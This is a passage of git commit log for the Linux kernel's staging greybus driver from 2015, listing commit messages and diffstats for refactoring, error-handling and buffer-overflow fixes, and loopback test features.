operations together and so call gb_svc_connection_create() from gb_connection_init() instead. Also check its return value properly. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 29 +++++++++++++++++++++-------- 1 file changed, 21 insertions(+), 8 deletions(-) commit 4317f874f48d14fbd5b1d408336843dbe129ab3e Author: Viresh Kumar Date: Mon Sep 7 16:01:20 2015 +0530 greybus: manifest: release cport descriptors to avoid 'excess descriptors' warning If we fail to initialize a cport of a bundle, we abort the entire bundle. But that leads to following (unnecessary) warnings as few of the cport descriptors, belonging to the aborted bundle were never parsed: "greybus: excess descriptors in interface manifest" Fix that by releasing all cport descriptors for the aborted bundle. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 98d7fbcad90b43f4e4fe03ef3261dbdcb6fe220f Author: Viresh Kumar Date: Mon Sep 7 16:01:19 2015 +0530 greybus: manifest: don't reject the interface on failing to initialize a cport A 'bundle' represents a device in greybus. It may require multiple cports for its functioning. If we fail to setup any cport of a bundle, we better reject the complete bundle as the device may not be able to function properly then. But, failing to setup a cport of bundle X doesn't mean that the device corresponding to bundle Y will not work properly. Bundles should be treated as separate independent devices. While parsing manifest for an interface, treat bundles as separate entities and don't reject entire interface and its bundles on failing to initialize a cport. But make sure the bundle which needs the cport, gets destroyed properly. We now release the bundle descriptor before parsing the cports, but that shouldn't make any difference. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 43 +++++++++++++++++++++++++++++++------- 1 file changed, 35 insertions(+), 8 deletions(-) commit ff477d073f2e71a1fa59f86cb44bd9d48674a71b Author: Bryan O'Donoghue Date: Fri Sep 4 16:53:31 2015 +0100 greybus: loopback: make sure to list_del on connection_exit gb_loopback_connection_exit does a kfree on a data structure associated with a loopback connection but fails to do a corresponding list_del(). On subsequent enumerations this can lead to a NULL pointer dereference. Each list_add in gb_loopback_connection_init() must have a corresponding list_del in gb_loopback_connection_exit(), this patch adds the relevant list_del() and ensures that an appropriate mutex protecting gb_dev.list is held while doing so. Signed-off-by: Bryan O'Donoghue Reported-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) commit 566830fdb1b666b5159709a9e66ed5f2c85f58b7 Author: Alexandre Bailon Date: Fri Sep 4 16:55:42 2015 +0200 greybus: es2: update the bulk_ep_set value accepted by map_to_cpor_ep() The endpoint set 0 is currently considered as invalid. But 0 mean muxed cports on ep1 and ep2, then it must not return -EINVAL. Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8afd831ea00822fdc811ff640ef62352619d64c0 Author: Alexandre Bailon Date: Fri Sep 4 16:55:40 2015 +0200 greybus: Greybus driver: add a new callbacks to driver Add connection_create and connection_destroy callbacks. ES2 can map a cport to a pair of endpoints. Because ES2 have only a few pair of endpoints, ES2 need to have access to some high level connection information such as protocol id to effectively map the cports. These callback will provide these information and help ES2 to map cports. Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 5 +++++ drivers/staging/greybus/greybus.h | 2 ++ 2 files changed, 7 insertions(+) commit 2111134fe413311ea2e89c7ffc66abb68ada5982 Author: Viresh Kumar Date: Fri Sep 4 15:10:09 2015 +0530 greybus: spi: Allow spi-core to allocate bus numbers dynamically And that fixes these warnings generated with BDB: WARNING: at /home/viresh/ara/jetson-kernel-build/tegra/fs/sysfs/dir.c:530 sysfs_add_one+0xa4/0xb4() sysfs: cannot create duplicate filename '/class/spi_master/spi0' Modules linked in: gb_es2(O) gb_phy(O) greybus(O) CPU: 2 PID: 111 Comm: kworker/u8:3 Tainted: G W O 3.10.40-gf32f9c5ca7e8 #2 Workqueue: events_unbound svc_process_hotplug [greybus] [] (unwind_backtrace+0x0/0x13c) from [] (show_stack+0x18/0x1c) [] (show_stack+0x18/0x1c) from [] (warn_slowpath_common+0x5c/0x74) [] (warn_slowpath_common+0x5c/0x74) from [] (warn_slowpath_fmt+0x38/0x48) [] (warn_slowpath_fmt+0x38/0x48) from [] (sysfs_add_one+0xa4/0xb4) [] (sysfs_add_one+0xa4/0xb4) from [] (sysfs_do_create_link_sd+0xc0/0x20c) [] (sysfs_do_create_link_sd+0xc0/0x20c) from [] (device_add+0x2e8/0x5f4) [] (device_add+0x2e8/0x5f4) from [] (spi_register_master+0x15c/0x654) [] (spi_register_master+0x15c/0x654) from [] (gb_spi_connection_init+0x164/0x19c [gb_phy]) [] (gb_spi_connection_init+0x164/0x19c [gb_phy]) from [] (gb_connection_bind_protocol+0x160/0x1b4 [greybus]) [] (gb_connection_bind_protocol+0x160/0x1b4 [greybus]) from [] (gb_connection_create_range+0x228/0x2fc [greybus]) [] (gb_connection_create_range+0x228/0x2fc [greybus]) from [] (gb_connection_create+0x40/0x48 [greybus]) [] (gb_connection_create+0x40/0x48 [greybus]) from [] (gb_manifest_parse+0x61c/0x628 [greybus]) [] (gb_manifest_parse+0x61c/0x628 [greybus]) from [] (gb_interface_init+0x130/0x170 [greybus]) [] (gb_interface_init+0x130/0x170 [greybus]) from [] (svc_process_hotplug+0x214/0x258 [greybus]) [] (svc_process_hotplug+0x214/0x258 [greybus]) from [] (process_one_work+0x13c/0x454) [] (process_one_work+0x13c/0x454) from [] (worker_thread+0x140/0x3dc) [] (worker_thread+0x140/0x3dc) from [] (kthread+0xe0/0xe4) [] (kthread+0xe0/0xe4) from [] (ret_from_fork+0x14/0x20) Reported-by: Mitchell Tasman Suggested-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/spi.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 6c0d57b4e612c00b14852c2f8b179d518462ea6c Author: Viresh Kumar Date: Mon Aug 31 17:21:15 2015 +0530 greybus: connection: protocol can be NULL in gb_connection_exit() gb_connection_exit() is getting called from gb_connection_destroy() now, which will get called from failure path of gb_connection_create_range() (in a later commit). And at that point connection->protocol will be NULL. Don't print an error message if this happens in gb_connection_exit(). Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/connection.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 50bb9ccaa0e12823e7f225ce1571d4ae3d1f83e0 Author: Fabien Parent Date: Mon Aug 31 17:21:14 2015 +0530 greybus: connection: fail to bind if connection init fails gb_connection_init() can fail and will return proper error code in that case, but the caller is ignoring it currently. Fix that by properly handling errors returned from gb_connection_init() and propagating them to callers of gb_connection_bind_protocol(). Signed-off-by: Fabien Parent Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/connection.c | 19 ++++++++++++++----- drivers/staging/greybus/connection.h | 2 +- 2 files changed, 15 insertions(+), 6 deletions(-) commit fda2381bd2d96b4f45806e4796d558eec678e3c6 Author: Viresh Kumar Date: Mon Aug 31 17:21:13 2015 +0530 greybus: connection: call gb_connection_exit() from gb_connection_destroy() Both the routines are always called together and in the same sequence. Rather than duplicating this at different places, make gb_connection_destroy() call gb_connection_exit(). This also makes it more sensible, as gb_connection_init() is never called directly by the users and so its its counterpart shouldn't be called directly as well. Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/bundle.c | 4 +-- drivers/staging/greybus/connection.c | 60 ++++++++++++++++++------------------ drivers/staging/greybus/connection.h | 2 -- drivers/staging/greybus/core.c | 4 +-- 4 files changed, 32 insertions(+), 38 deletions(-) commit 4c583f42c3cc0b6ebb678f5e7ecd5374479bfc22 Author: Viresh Kumar Date: Mon Aug 31 17:21:12 2015 +0530 greybus: connection: Propagate error properly We just got an error, propagate the exact return value instead of 0. Reviewed-by: Bryan O'Donoghue Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 58f469a7da3c0b2e126851f850780de20182708b Author: Viresh Kumar Date: Mon Aug 31 17:21:11 2015 +0530 greybus: connection: no need to verify connection->protocol connection->protocol will always be valid in gb_connection_init() as it is called only from a single routine, after initializing the 'protocol' field. No need to check it again. Reviewed-by: Bryan O'Donoghue Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/connection.c | 5 ----- 1 file changed, 5 deletions(-) commit 3dca03de9db7c467811bdfcb0b3b90cb9a184a8f Author: Viresh Kumar Date: Mon Aug 31 17:21:10 2015 +0530 greybus: connection: convert connected dev_warn() to dev_err() Failures from control-connected operations are fatal errors and must be reported with dev_err() instead of dev_warn(). Fix it. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar [ johan: do not promote disconnected warnings, update summary ] Signed-off-by: Johan Hovold drivers/staging/greybus/connection.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 630096899120321791f0ca6fea7ad7f9bd572e20 Author: Viresh Kumar Date: Mon Aug 31 17:21:09 2015 +0530 greybus: connection: staticize gb_connection_init() Its not used by external users, mark it static. This required some shuffling of the code. Reviewed-by: Bryan O'Donoghue Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/connection.c | 52 ++++++++++++++++++------------------ drivers/staging/greybus/connection.h | 1 - 2 files changed, 26 insertions(+), 27 deletions(-) commit ad14b9e9ec4973416a911a5d3c59caedc048a279 Author: Viresh Kumar Date: Mon Aug 31 17:21:08 2015 +0530 greybus: bundle: kill unnecessary forward declaration of routine Move the function to an earlier place, to kill the unnecessary forward declaration. Reviewed-by: Bryan O'Donoghue Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/bundle.c | 26 ++++++++++++-------------- 1 file changed, 12 insertions(+), 14 deletions(-) commit 505f16cc05a4ddeafe5efe33645123fed194d811 Author: Viresh Kumar Date: Mon Aug 31 17:21:07 2015 +0530 greybus: svc: unexport few internal functions There are no external users of these, and probably would never be. Make them static. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/svc.c | 8 +++----- drivers/staging/greybus/svc.h | 1 - 2 files changed, 3 insertions(+), 6 deletions(-) commit 3f0e9183b443ca7cae058372906a652f97301c11 Author: Viresh Kumar Date: Mon Aug 31 17:21:06 2015 +0530 greybus: svc: Kill unnecessary wrapper functions Not sure why they were created, but there is no need for them. Kill them. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/svc.c | 66 +++++++++++-------------------------------- 1 file changed, 16 insertions(+), 50 deletions(-) commit d9fcffff2c5442225cec21f55e74fb752e67e57f Author: Viresh Kumar Date: Mon Aug 31 17:21:05 2015 +0530 greybus: svc: No need to return errors from [gb_]svc_connection_destroy() These routines are responsible to destroy a connection that is going away, the return value is of no use. At best, print an error message to show that we got an error. Make their return type void. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/svc.c | 22 ++++++++++++++-------- drivers/staging/greybus/svc.h | 4 ++-- 2 files changed, 16 insertions(+), 10 deletions(-) commit b701686a3e6739bc8bd94fba13809e25a4ce1bd3 Author: Viresh Kumar Date: Mon Aug 31 17:21:04 2015 +0530 greybus: greybus_protocols: Pack all request/response structure These structures are exchanged between the AP and the module and must be packed to avoid any unwanted holes. Its all working currently because compiler doesn't add any pad bytes for these structures, as their elements are already aligned to their size. But these structures can change in future and we better mark them packed. Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/greybus_protocols.h | 164 ++++++++++++++-------------- 1 file changed, 82 insertions(+), 82 deletions(-) commit 829a91e7155e4cb5c90e99ebd6048c7618b29e9b Author: Viresh Kumar Date: Mon Aug 31 17:21:03 2015 +0530 greybus: greybus_protocols: Pack structure as required by the module firmware These structures are expected to be packed by the module firmware code, but the kernel wasn't following it until now. Its all working currently because compiler doesn't add any pad bytes for these structures, as their elements are already aligned to their size. But these structures can change in future and we better mark them packed. Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/greybus_protocols.h | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) commit d6ec787299c242775ef1e49c6f558121effa248c Author: Viresh Kumar Date: Mon Aug 31 17:21:02 2015 +0530 greybus: greybus_protocols: svc: Add missing comment All request/responses either have a structure representing them or a comment saying the request/response payload doesn't exist. The comment was missing for route create response message, add it. Reviewed-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/greybus_protocols.h | 1 + 1 file changed, 1 insertion(+) commit 3ccb1600babfda0c71cba376e21f4f95a61080a2 Author: Viresh Kumar Date: Thu Sep 3 15:42:22 2015 +0530 greybus: svc: reject invalid state requests The request sequence for SVC protocol is fixed at least upto SVC_HELLO request. The first request has to be Protocol Version, followed by SVC_HELLO. Any other request can follow them, but these two. Add another field in 'struct gb_svc' that keeps track of current state of the protocol driver. It tracks only upto SVC_HELLO, as we don't need to track later ones. Also add a comment, about the order in which the requests are allowed and why a race can't happen while accessing 'state'. This removes the WARN_ON() in gb_svc_hello() as we track state transition with 'state' field. This also fixes a crash, when the hotplug request is received before fully initializing the svc connection. The crash mostly happens while accessing svc->connection->bundle, which is NULL, but can happen at other places too, as svc connection isn't fully initialized. Reported-by: Johan Hovold Signed-off-by: Viresh Kumar [johan: add 0x-prefix to warning message ] Signed-off-by: Johan Hovold drivers/staging/greybus/svc.c | 57 +++++++++++++++++++++++++++++++++++++++---- 1 file changed, 52 insertions(+), 5 deletions(-) commit f66427adfd407ea08236ab541df192e15671b6cf Author: Viresh Kumar Date: Wed Sep 2 21:27:13 2015 +0530 greybus: svc: Include system headers at the top System headers should get included before greybus.h. Its followed everywhere except svc.c. Fix it. Reported-by: Johan Hovold Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/svc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 3a17dd413a1857fc92b22e54c03cae155f106056 Author: Vishal Bhoj Date: Wed Sep 2 22:35:19 2015 -0700 greybus: build: android: avoid building for targets that don't have kernel binary For sdk related targets, the greybus build will error out due to missing kernel dependency. Let's avoid those targets by checking TARGET_NO_KERNEL. Signed-off-by: Vishal Bhoj Signed-off-by: Michael Scott Signed-off-by: Johan Hovold drivers/staging/greybus/Android.mk | 2 ++ 1 file changed, 2 insertions(+) commit 1dc53922655a1f2537488a9d52aa99d111f38f66 Author: Johan Hovold Date: Wed Sep 2 18:03:21 2015 +0200 greybus: fix cport-id defines The CPORT_ID_MAX define has been used by host drivers as a device limit, but also for sanity checks when parsing manifests. Now that it's only used for sanity checks we can increase it to the specification maximum (4095) and get rid of the config-option that could be used to override the previous limit (128). Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar drivers/staging/greybus/greybus.h | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) commit 239adcf6bd68dd7b1910f236e7f2854de535e7aa Author: Johan Hovold Date: Wed Sep 2 18:03:20 2015 +0200 greybus: es1: fix build-time cport constraint The CPort count of es1 is now defined by CPORT_COUNT. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar drivers/staging/greybus/es1.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1a58a3befaccdf84f5a31e3cecd26c8d57c10890 Author: Johan Hovold Date: Wed Sep 2 17:37:38 2015 +0200 greybus: core: fix hd-creation error path Make sure to return an errno when a host-device buffer-size check fails. Fixes: 1f92f6404614 ("core: return error code when creating host device") Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar drivers/staging/greybus/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f470ead894e3d33e70f62d43b8e255beb37f183b Author: Fabien Parent Date: Wed Sep 2 15:50:38 2015 +0200 greybus: es{1,2}: remove control endpoint field There is no need to store the endpoint number of the control requests since the default control endpoint is used and the USB standard defines for it a fixed endpoint number of 0. Remove every instance of the field control_endpoint and replace it with a hardcoded 0 value. Signed-off-by: Fabien Parent Reviewed-by: Johan Hovold Signed-off-by: Johan Hovold drivers/staging/greybus/es1.c | 9 +-------- drivers/staging/greybus/es2.c | 13 ++----------- 2 files changed, 3 insertions(+), 19 deletions(-) commit 24a6112fa53e8a08de21b063abb22d10c2595048 Author: Fabien Parent Date: Wed Sep 2 15:50:37 2015 +0200 greybus: es2: get cport count from apb1 usb device Use the control request REQUEST_CPORT_COUNT in order to get the number of CPorts supported by the UniPro IP. Signed-off-by: Fabien Parent Signed-off-by: Johan Hovold drivers/staging/greybus/es2.c | 53 +++++++++++++++++++++++++++++++++++++------ 1 file changed, 46 insertions(+), 7 deletions(-) commit c011d558e19aa9b6bb739426f5553bf3e1ad5a69 Author: Fabien Parent Date: Wed Sep 2 15:50:36 2015 +0200 greybus: es2: dynamically allocate array for cport <-> ep mapping In order to be able to dynamically determine the number of CPorts supported by the UniPro IP instead of hardcoding the value we need to dynamically allocate the array that is doing the cport-ep mapping. Signed-off-by: Fabien Parent Reviewed-by: Johan Hovold Signed-off-by: Johan Hovold drivers/staging/greybus/es2.c | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) commit 144670c2ae3f9b452e021a9032b25730d296ba53 Author: Fabien Parent Date: Wed Sep 2 15:50:35 2015 +0200 greybus: add num_cports field to greybus hd This commit is doing the preparation work in order to get the number of cports supported from the UniPro IP instead of using a constant defined in a Kconfig file. Greybus host device is now holding the cport count, and all the code will now use this value instead of the constant CPORT_ID_MAX when referring to an AP's CPort ID. Signed-off-by: Fabien Parent [johan: es1 supports 256 cports, minor style changes ] Signed-off-by: Johan Hovold drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/core.c | 9 ++++++++- drivers/staging/greybus/es1.c | 10 +++++++--- drivers/staging/greybus/es2.c | 13 +++++++------ drivers/staging/greybus/greybus.h | 10 +++++++--- drivers/staging/greybus/interface.c | 2 +- 6 files changed, 31 insertions(+), 15 deletions(-) commit e074a2e2874aaa96da3e54d98ecb886201d96435 Author: Fabien Parent Date: Wed Sep 2 15:50:34 2015 +0200 greybus: es2: rename misnamed CPORT_MAX into CPORT_COUNT Rename the misnamed macro CPORT_MAX into CPORT_COUNT. CPORT_MAX could let people think that the macro is holding the value of the last CPort ID usable. Signed-off-by: Fabien Parent Reviewed-by: Johan Hovold Signed-off-by: Johan Hovold drivers/staging/greybus/es2.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit b9fb704afd6e2e3c749fc076f1d8fa36ae695d4d Author: Viresh Kumar Date: Tue Sep 1 17:16:16 2015 +0530 greybus: svc: get hd directly from connection There is no need to perform connection->bundle->intf->hd as the same can be done with connection->hd. Signed-off-by: Viresh Kumar Signed-off-by: Johan Hovold drivers/staging/greybus/svc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2630fbf828ed921bd52cfe1fbacc9ad16aa2f47a Author: Johan Hovold Date: Tue Sep 1 12:25:28 2015 +0200 greybus: pwm: replace pr_err with dev_err Replace pr_err with the more descriptive dev_err. Also include the error code on failure to register the PWM chip. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar drivers/staging/greybus/pwm.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 505c9d27b804f2b1e1e6432a89876df197432bbe Author: Johan Hovold Date: Tue Sep 1 12:25:27 2015 +0200 greybus: interface: fix potential attribute-buffer overflow Use scnprintf in the generic attribute helper, which does not currently check for buffer overflow. The attribute helper is used to print generic strings, which could potentially overflow the buffer. Note that the only strings currently exported are taken from greybus string descriptors and should therefore be limited to 255 chars. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar Reviewed-by: Bryan O'Donoghue drivers/staging/greybus/interface.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 287bba82fe2f74dd89f7f24f2da438a7974e57af Author: Johan Hovold Date: Tue Sep 1 12:25:26 2015 +0200 greybus: svc: fix hot-plug-state allocation flag Use GFP_KERNEL for hot-plug state allocation in gb_svc_intf_hotplug_recv, which is called from a request handler (i.e. a work queue). Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar drivers/staging/greybus/svc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 89f637f716a90ec9da7a26d53ad883ea2b806e66 Author: Johan Hovold Date: Tue Sep 1 12:25:25 2015 +0200 greybus: svc: fix device-id allocation flag Use GFP_KERNEL for device-id allocation in svc_process_hotplug, which is called from a work queue. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar drivers/staging/greybus/svc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c01c77ce4b2a7a39134d90f90ab964926ef88123 Author: Johan Hovold Date: Tue Sep 1 12:25:24 2015 +0200 greybus: endo: fix endo-id allocation flag Use GFP_KERNEL for endo ida allocation in gb_endo_register, which is not called from atomic context. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar drivers/staging/greybus/endo.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 2d465d57c8bbb0da96f352447e283e06bfa8513c Author: Rui Miguel Silva Date: Thu Aug 20 15:20:17 2015 +0100 greybus: sdio: fix command type defines Broadcast command with response and without response where swapped related to what is defined in greybus specification. Make it coherent with the document. Signed-off-by: Rui Miguel Silva Signed-off-by: Johan Hovold drivers/staging/greybus/greybus_protocols.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit af0b4d5a19e3d49059afe91307fce980291f43f9 Author: Johan Hovold Date: Fri Aug 28 11:58:24 2015 +0200 greybus: firmware: fix potential stack corruption Use snprintf when generating the firmware name to avoid stack corruption if the fixed-size buffer overflows. Note that the current buffer size appears to expect 16-bit ids while the they are actually 32-bit, something which could trigger the corruption. Signed-off-by: Johan Hovold Reviewed-by: Viresh Kumar drivers/staging/greybus/firmware.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 977e209ab41073def3cf0e1034c429a832ba54df Author: Alexandre Bailon Date: Mon Aug 31 09:00:16 2015 +0200 greybus: es1/es2: set transfer flag to send a zero-length packet Greybus messages with a multiple size of 512B generate timeouts (any other message size doesn't). 512B is exactly the packet size of a bulk out endpoint. Hence USB device is expecting a short (< 512B) or zero-length packet to finish the transfer, which is never generated and causes the timeout. Set the transfer flag to send a zero-length packet in this situation. Signed-off-by: Alexandre Bailon Reviewed-by: Patrick Titiano Reviewed-by: Johan Hovold Signed-off-by: Johan Hovold drivers/staging/greybus/es1.c | 1 + drivers/staging/greybus/es2.c | 1 + 2 files changed, 2 insertions(+) commit 98676ca83680a2ca6afb38e900b3d956f6917185 Author: Bryan O'Donoghue Date: Mon Aug 17 00:55:12 2015 +0100 greybus: loopback: fix typo in comment Alex previously post a patch to fix this typo. Somehow it fell through the cracks in the meantime. Do it again 'stastic' is a word 'statistic' is not. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit f06272b283e15951bae9b9af24cff74b7fcabaef Author: Bryan O'Donoghue Date: Mon Aug 17 00:55:11 2015 +0100 greybus: loopback: add module level sys/debug fs data points Code this far has used the first connection's sysfs entry to present variables intended to control the entire test - across multiple connections. This patch changes that so that the module level variables only appear at the end0:x level in sysfs. Example: Total counts for errors over the entire set of connections will be here /sys/bus/greybus/devices/endo0:x/error_dev In contrast an error for each connection will be presented like this /sys/bus/greybus/devices/endo0:x:y:z:w/error_con x = y = z = w = Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 243 +++++++++++++++++++++++-------------- 1 file changed, 154 insertions(+), 89 deletions(-) commit a5a0ba4318aafaa0686893ba62b2ab34598d88c7 Author: Bryan O'Donoghue Date: Mon Aug 17 00:55:10 2015 +0100 greybus: loopback: remove checkpatch error causing macro checkpatch.pl is choking on a later change to dev_stats_attrs, where checkpatch expects to see the values encapsulated in curly brackets. Encapsulating in curly brackets will cause a compiler error. To resolve the dichotomy this patch drops the macros and adds the arrary declarations directly. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 21 ++++++++++++--------- 1 file changed, 12 insertions(+), 9 deletions(-) commit 42b9da5efe63e42298094a23edf00d2e0830812c Author: Bryan O'Donoghue Date: Mon Aug 17 00:55:09 2015 +0100 greybus: loopback: initialized ms_wait negate warning ms_wait = 0; caught by a compiler warning. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 84cfad02b7d9ee0ec910a40aa96850c337a0d745 Author: Bryan O'Donoghue Date: Mon Aug 17 00:55:08 2015 +0100 greybus: loopback: add bitmask of connections to include in test Feature add which enables the ability to select a bit-mask of connections to run when executing a loopback test set. This is a feature add to facilitate testing on the firmware side minus the necessity to recompile firmware to support unicast (v) multicast (v) bitmask. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) commit 4b0ea00caf837160b25482d48d1f7a95ba47d318 Author: Bryan O'Donoghue Date: Mon Aug 17 00:55:07 2015 +0100 greybus: loopback: graph round-trip time for all threads This patch adds the ability to time the delta between all threads like this t1 = timestmap(); thread1:gb_operation_sync(); thread2:gb_operation_sync(); t2 = timestamp(); In order to enable that behaviour without forcing an undesirable checkpointing scheme this patch introduces a kfifo for each thread to store the raw timestamps and calculate a time difference. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 155 +++++++++++++++++++++++++++++++++---- 1 file changed, 140 insertions(+), 15 deletions(-) commit 7c985351d40475ab752b230d5761e646973cb59b Author: Bryan O'Donoghue Date: Mon Aug 17 00:55:06 2015 +0100 greybus: loopback: functionally decompose gb_loopback_calc_latency The __gb_loopback_calc_latency will be useful in later patches. Provide it here and use as intended. Later on we just want to use the timestamp rollover detection, so split it out now. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) commit bd416103b204494e29b095e28c5a7b6a77e8f2b9 Author: Bryan O'Donoghue Date: Mon Aug 17 00:55:05 2015 +0100 greybus: loopback: add gb_loopback_nsec_to_usec_latency A helper function to convert from a nanosecond value to a latency value expressed in mircoseconds. This will be used again in subsequent patches. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit 67d1eeceb1aab4a192a0f132cd230d41932ba91e Author: Bryan O'Donoghue Date: Mon Aug 17 00:55:04 2015 +0100 greybus: loopback: support synchronized tests over multiple cports The loopback code as currently implemented allows free running threads to blast data to cports in isolation, however no overall stastics are gathered for the aggregate throughput to a given module. This patch moves derivation of stastics for all cports to one structure so that 1 to n cports will report their overall stastics in one place. Later patches update the sysfs/debugfs accessor functions to provide the per-module and per-connection data separately. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 266 +++++++++++++++++++++++++++---------- 1 file changed, 196 insertions(+), 70 deletions(-) commit aa27bf82694de73f850581d5c928d99b16032be7 Author: Bryan O'Donoghue Date: Mon Aug 17 00:55:03 2015 +0100 greybus: loopback: convert sample report interface to debugfs Greg previously suggested switching over to debugfs instead of a char interface to report raw samples to user-space. At the time we agreed not to go for that change. However later patches in this series are made simpler if debugfs is used instead of /dev, so it makes sense to make the conversion now for that reason. This patch removes the char interface and replaces it with a debugfs interface. Raw samples will be acquired from /sys/kernel/debug/gb_loopback/raw_latency_endo0:x:y:z:w where x = y = z = w = Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 177 ++++++++++++++----------------------- 1 file changed, 66 insertions(+), 111 deletions(-) commit 2f8423046f21093818ffc4fae917f8e9dd8e9931 Author: Bryan O'Donoghue Date: Mon Aug 17 00:55:02 2015 +0100 greybus: loopback: add ability to graph greybus latency This patch adds the ability to graph the latency of the overhead introduced by the greybus stack in the roundtrip time AP->Module->AP. Since this is a small number it is reported in nanoseconds, not mircoseconds. This data can also be derived with tracepoints but it's being provided in this format to export to CSV file more easily than with tracepoints. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/loopback.c | 46 ++++++++++++++++++++++++++++++++------ 1 file changed, 39 insertions(+), 7 deletions(-) commit 464dc8cbdeb4a58791b9b6dc90e17e4b4f7d0d90 Author: Bryan O'Donoghue Date: Mon Aug 17 00:57:16 2015 +0100 greybus: interface: change typo replicable => replaceable 'user-replicable' means something that a user can replicate. 'user-replaceable' means something that a user can replace. We defintely mean to say replaceable not replicable here. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/interface.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 7ee582680230f56ad43afc9cbb46e050e1027afb Author: Rui Miguel Silva Date: Mon Aug 17 17:03:43 2015 +0100 greybus: greybus_protocol: remove unused lights macros Greybus core now handle the _INVALID and PROTOCOL_VERSION 